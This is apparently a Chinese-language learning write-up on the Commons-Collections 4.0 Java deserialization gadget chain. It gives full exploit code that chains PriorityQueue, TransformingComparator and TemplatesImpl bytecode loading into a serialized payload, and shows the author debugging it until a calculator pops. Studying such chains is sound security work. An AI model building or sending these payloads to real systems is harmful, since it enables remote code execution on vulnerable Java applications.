环境

其它的和前面一样,只不过Commons-Collections 依赖变为了4.0

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

链子分析

在CC4上尾部的命令执行没有什么变化反射或者动态加载字节码,改变的是CC4去掉了 InvokerTransformer 的 Serializable 继承,那么InvokerTransformer用不了了就要找谁调用了transform()随便用个类然后find usages transform()这里最终找的是TransformingComparator 类中的compare方法调用了transform()
image-20230705124539354
compare方法在Java中也是常用的,用于两个对象的大小比较,继续往前找看谁调用了这个方法,但是这里直接find usages找不到,看组长视频说得对开发比较熟悉,开发我是一点不熟啊,难受,最后直接给出了PriorityQueue类用于优先队列的操作,在这个类中调用了compare方法
image-20230705124731533
然后继续往上找找到了这个类中的readObject方法

那么其实到这里可以看到入口类就变了,链子到这里就结束了,接下来编写EXP

EXP编写

先把后面的动态类加载命令执行写出来,和CC3一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;


public class CC4Dome {
public static void main(String[] args) throws Exception{
//动态类加载命令执行
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});


Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

chainedTransformer.transform(1);
}

测试成功
image-20230705124756650
然后就是放弃InvokerTransformer转用TransformingComparator 类的 compare()方法,再用PriorityQueue类当入口去调用,然后对PriorityQueue序列化,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CC4Dome {
public static void main(String[] args) throws Exception{
//动态类加载命令执行
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});


Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize("ser.bin");

}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是这里弹出计算器失败说明中间出了问题,debug一下,断点如下
image-20230705124810172
问题出在下面
image-20230705124816746
调试发现并没有进入siftDown方法,而我们要求就是要进入,寻找一下原因

1
for (int i = (size >>> 1) - 1; i >= 0; i--)

当代码走到这里的时候size为0,当size为1的时候右移1位还是0
image-20230705124853515
当size为2即可得到1进入for循环,而这个size就是队列的长度,那么我往这个队列里面加点东西就行了

1
2
priorityQueue.add(1);  
priorityQueue.add(2);

image-20230705124905041
此时弹出计算器了,但是这里报错,当我把序列化与反序列化注释之后还是弹了计算器
image-20230706192532303
说明这个计算器弹的和序列化没关系,问题就出在了这个priorityQueue.add(1);跟进去看一下
image-20230706192237127
发现这个add直接会进入到compare方法,直接就在本地执行了没玩的了,所以得避免本地执行
报错的原因其实是CC3里的_tfactory 值,都忘了这是干嘛的了,在前面的exp中少了一句templates.newTransformer();导致报错加上就行了如下

1
2
3
4
Field tfactory = tclass.getDeclaredField("_tfactory");  
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

但其实这里根本没啥关系,本来就不想让它在本地执行,解决add的问题和前面CC1(好像是不记得了)一样把transformingComparator 的值改为一个无关的对象,在 add 完之后再用反射修改回来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class CC4Dome {
public static void main(String[] args) throws Exception{
//动态类加载命令执行
TemplatesImpl templates = new TemplatesImpl();
Class tclass = templates.getClass();
Field nameField = tclass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaa");

Field bytecodes = tclass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);
Field tfactory = tclass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});


Transformer[] transformers= new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformField = c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator, chainedTransformer);

// serialize(priorityQueue);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20230705124940577

流程图

感觉CC4学的挺轻松的,不过前面的有些东西忘记了,还是要多总结,流程图如下,直接画在一堆了不单独画了
image-20230706201426369